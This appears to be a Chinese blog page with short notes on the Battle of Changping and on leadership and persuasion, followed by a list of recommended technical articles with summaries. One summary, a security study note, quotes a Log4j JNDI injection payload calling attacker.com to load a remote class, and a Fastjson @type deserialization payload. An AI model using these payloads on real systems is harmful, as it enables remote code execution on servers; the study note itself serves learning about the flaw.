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我也要
《长平之战》
赵括：纸上谈兵，40W赵兵惨败
求实，实践是检验真理的唯一标准，成事（做事）
如何选人、育人、用人？
从业绩看人：先做小事、中事、大事
很少有二代比一代强，用二代，守城
苏代说应候
1、武安君功劳在你之上
2、赵国灭，人走之，如何治理
应候说秦王：
1、秦兵劳累，休息一段时间
2、让他国割地
真诚，把要说服人的利益放在第一位诚
对象：（他最关心什么，他有什么资源）
一句话概括：结构化思考与表达
次序
不与众合
1、尽心尽力、要做的战略、定好方向；
2、上级（CEO） 找到能推动战略落地的力量（一把手挺你）
3、平级、下级 支持
4、下下级所有人 进行宣传（WHAT 做什么变革？WHY为什么要这么做？ HOW要怎么做？Result会取得什么战果）
战略进行宣传演讲：3W1R
html python mysql交互_干货！Python与MySQL数据库的交互实战
安装PyMySQL库如果你想要使用python操作MySQL数据库，就必须先要安装pymysql库，这个库的安装很简单，直接使用pip install pymysql；假如这种方式还是安装不上，就用如下链接找一个合适的安装包，进行安装，这个就不细说了。https://www.lfd.uci.edu/~gohlke/pythonlibs/使用Python连接MySQL数据库1)六个常用的连接参数参数...
Jackson 序列化 / 反序列化注解 完整版笔记
Jackson 序列化 / 反序列化注解 完整版笔记
ITIL-IT运维管理-概述
ITIL-IT运维管理-概述 概述 IT服务管理（ITSM）是一套帮助企业对IT系统的规划、研发、实施和运营进行有效管理的方法，是一套方法论。ITSM起源于ITIL（IT Infrastructure Library，IT基础架构标准库），ITIL是CCTA（英国国家电脑局）于1980年开发的一套IT服务管理标准库。它把英国在IT管理方面的方法归纳起来，变成规范，为企业的IT部门提供一套从计划、研发、实施到运维的标准方法。 中文名 IT服务管理 外文名 ITService Management 专家
新概念英语第一册 · 词法笔记
以《新概念英语第一册》为范围，梳理 10 类词性中的 8 类：名词的数与所有格、冠词、代词、形容词副词比较级、数词与时间、介词、动词四类与 have 的四种用法、情态动词与不定式，附易错 TOP12 与课次顺序。
拯救者Y9000P 2022双系统实战：Ubuntu22.04分区优化与驱动避坑指南
本文提供联想拯救者Y9000P 2022款安装Ubuntu 22.04双系统的详细实战指南。重点讲解针对该机型的磁盘分区优化方案、NVIDIA显卡驱动安装避坑技巧，以及安装后的网络、时间同步等必备配置，帮助用户高效完成双系统部署并提升使用体验。
CMU的local_planner学习笔记
ros::Subscriber subOdometry = nh.subscribe//当接收到/state_estimation话题消息更新时启动odometryHandler回调函数 （消息格式：nav_msgs::Odometry消息内容：关于机器人或车辆的位置和方向（姿态）信息）pcl::PointCloud::Ptr freePaths(new pcl::PointCloud());
[学习笔记]超越超级大循环与原生RTOS：事件驱动架构如何改变嵌入式固件的可扩展性
RTC：事件处理器一旦开始，全部状态迁移、进出动作、输出事件必须全部执行完毕才返回；同一个组件，当前处理没结束，不会开始下一条事件。这不是架构给状态机额外施加的限制，这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断，状态机会停留在未定义的中间状态。RTC保证两次事件之间，状态机永远处于明确定义的合法状态，便于分析与测试。
【项目分享】RailTracker: 火车票务数据采集与分析
从12306使用爬虫爬取火车站及车次信息、火车票价 通过本项目，我们将带领访问者手把手完成火车票数据采集、数据清洗、数据集成、可视化的一整个流程！
闪光灯笔记
主体后常亮补光，相机快门速度两秒，相机固定在三脚架上，让主体保持不动，按下快门之后主体周围晃动灯棒。特点：人物清晰，背景车流灯光拖在人物身后，氛围感强，就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机：M 档，快门 1s，f/8，ISO100。上图：前帘同步，车向前行驶，光轨跑到车头前面，看着很怪。例：6 次，4Hz → 6÷4=1.5s → 相机快门设置≥1.5s，推荐 2s。缺点（慢速快门拍运动物体）：闪光先把人定住，之后人物继续移动，在传感器上，
PyTorch实战（14）——图注意力网络（Graph Attention Network，GAT）
本节介绍了图注意力网络 (Graph Attention Network, GAT) 在节点分类任务中的应用。相比图卷积网络 (GCN) 的平均聚合机制，GAT 通过引入注意力机制，能够为不同邻居节点分配差异化权重，从而更精准地捕捉图结构信息。实验表明，GAT 在 CiteSeer 数据集上的分类准确率达到 71.1%，较 GCN 提升 2.5 个百分点。可视化结果显示，GAT 学习到的节点表征具有更好的类别区分度。这验证了注意力机制在图数据建模中的有效性，为处理复杂图结构任务提供了更优解决方案。
地方政府预算数据抓取：利用Python爬虫获取预算安排、资金分配与支出情况
爬虫是通过模拟浏览器行为，从互联网上自动获取数据的程序。在本案例中，我们将通过爬虫从地方政府的官方网站或预算公开平台抓取各类预算信息。这些信息一般以HTML网页的形式呈现，可以通过爬虫对网页内容进行解析，提取所需的预算数据。Python作为数据抓取的强大工具，凭借其简洁的语法、强大的第三方库（如requestsSelenium等）以及丰富的数据处理能力，成为了开发爬虫应用的首选语言。
JavaWeb JSP 技术知识点总结（课堂笔记版）
本文面向刚接触 JavaWeb 的初学者，系统梳理 JSP（JavaServer Pages）的核心知识点，帮助你把零散的概念串成一条完整的知识线。JSP 原理：JSP 与 Servlet 的关系、翻译与编译的执行过程；JSP 语法：基本页面结构、三种注释、三大指令、三种脚本元素；内置对象与作用域：九大内置对象、四大作用域及其生命周期；EL 与 JSTL：表达式语言取值、常用标签库；实战案例：以「用户列表展示」串起 Servlet + 转发 + EL + JSTL 的完整链路；常见问题。
吉林大学数据库期末考试试卷讲解
给出几套期末真题及解析，给出复习建议。
排序算法深度笔记（下）：非比较类排序的线性突破与工程边界
排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)
IDEA的使用指南
IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.
RU DOS版、EFI版32bit/64bit BIOS常用工具
DOS版、EFI版的RU工具，可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。
「Gemma 4 QAT 实战笔记」(二)：不重新量化，只对齐格点——exact-grid 打包、固定 scale 的 LoRA-QAT 与 PLE g256
「Gemma 4 QAT 实战笔记」第二篇，讲 M0 之后怎么处理权重本身。官方 QAT 权重 278 个量化张量 100% 落在 Q4_0 g32 对称格点上；不重新量化、按原格点直接打包（exact-grid），MLX g32 版 2.893GB，困惑度 47.17/40.27，与 bf16 持平。训练时固定官方 scale 做可合并 LoRA-QAT，打包误差为 0。compressed-tensors 版把 PLE 改为 int4 g256，2.55GiB，困惑度 47.01/40.67。
迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)
迈瑞BS系列全自动生化分析仪LIS协议接口手册，内含HL7和ASTM)
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶
SAP B1中文培訓教材_SDK
公司内部培训资料，对开发工具 ，DIAPI， UIAPI，Add-ON有详细解说
Java 多态 学习笔记
多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。
#SQLite 数据库笔记一：（概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数）
数据库 = 数据的仓库，假设数据是海量。能力说明存储数据持久化保存，程序退出数据还在统计数据、分组、排序数据管理增、删、改、查（CRUD）嵌入式设备上也会用数据库（单片机网关、路由器、工业 HMI 都常见），因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。
【笔记】svn冲突处理
在BC三向合并界面中，左窗为基准版本（Base），中窗为本地修改（Mine），右窗为服务器最新版（Theirs），底窗为合并结果（Merged）。红色区块表示冲突，需手动处理；蓝色为本地变更，品红为服务器变更，前者建议处理，后者自动合并。处理冲突时，分别复制本地与服务器代码至合并区，按逻辑排序，确认无误后标记为已解决，并保存文件。最后在TortoiseSVN中标记为已解决并提交，确保所有红色区块消除，实现代码顺利合并。
本地笔记的持久化：选区锚点、条目关联与内容升级时的迁移
离线典籍类应用里，读者产生的数据常常被当作附属功能处理：选中一句话、写两句理解，看起来只是往数据库里插一行。真正麻烦的是这些数据必须与正文长期对齐——正文会随内容包升级而变动，而用户写下的东西不能跟着失效。本文以一款纯本地运行的鸿蒙知识库为例，记录实现侧几个容易踩坑的取舍，与检索链路无关。
CentOS7-Elasticsearch8.15.3-Kibana8.15.3-安装部署笔记
Token 有效期只有 30 分钟，请保存好输出的 base64 字符串并尽快完成 Kibana 对接；本文整理自单机离线部署实践，适用于 CentOS 7 + Elasticsearch/Kibana 8.15.3 场景。只对新登录的会话生效，修改后需重新连接 SSH。结尾，其中包含 elastic 用户初始密码、HTTP 层证书等信息。等字段的集群 JSON 信息，即说明账号、HTTPS、证书均正常。安装成功后，终端会打印安全自动配置结果，以。按交互提示输入两次自定义密码。，保存后重启服务器生效。
正则表达式学习笔记 02：基础语法
正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。
[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战
大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。
Axum 初步入门学习笔记
)自定义错误实现后，可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架，核心能力是：Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”：它帮你建立全局观，但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层，不是 Axum 自带的。
【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟
在下面去给他写中断子函数，他会在main中去到Timer0这个子函数当中去，再接着跳转回来。再TMOD上，这个是不可位寻址的，必须八位同时复制，如果同时使用定时器1和定时器0，先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉，我们去给他让他只去执行一部分。现在我们要去做中断了，改正之后的是这样，但其实是还有缺陷在的。寄存器是连接软硬件的媒介，我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式，M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。
扣子Coze学习笔记 02 · 智能体开发基础（视频9-15）
本模块系统讲解智能体开发全流程：从创建、模式选择（推荐单Agent自主规划）、参数调优（随机性、上下文轮数、回复长度）到提示词编写（CO-STAR框架+边界限制），强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比，厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入，并完成发布与开场白优化闭环。实操建议边学边调试，反复验证提示词边界，确保智能体稳定可用。
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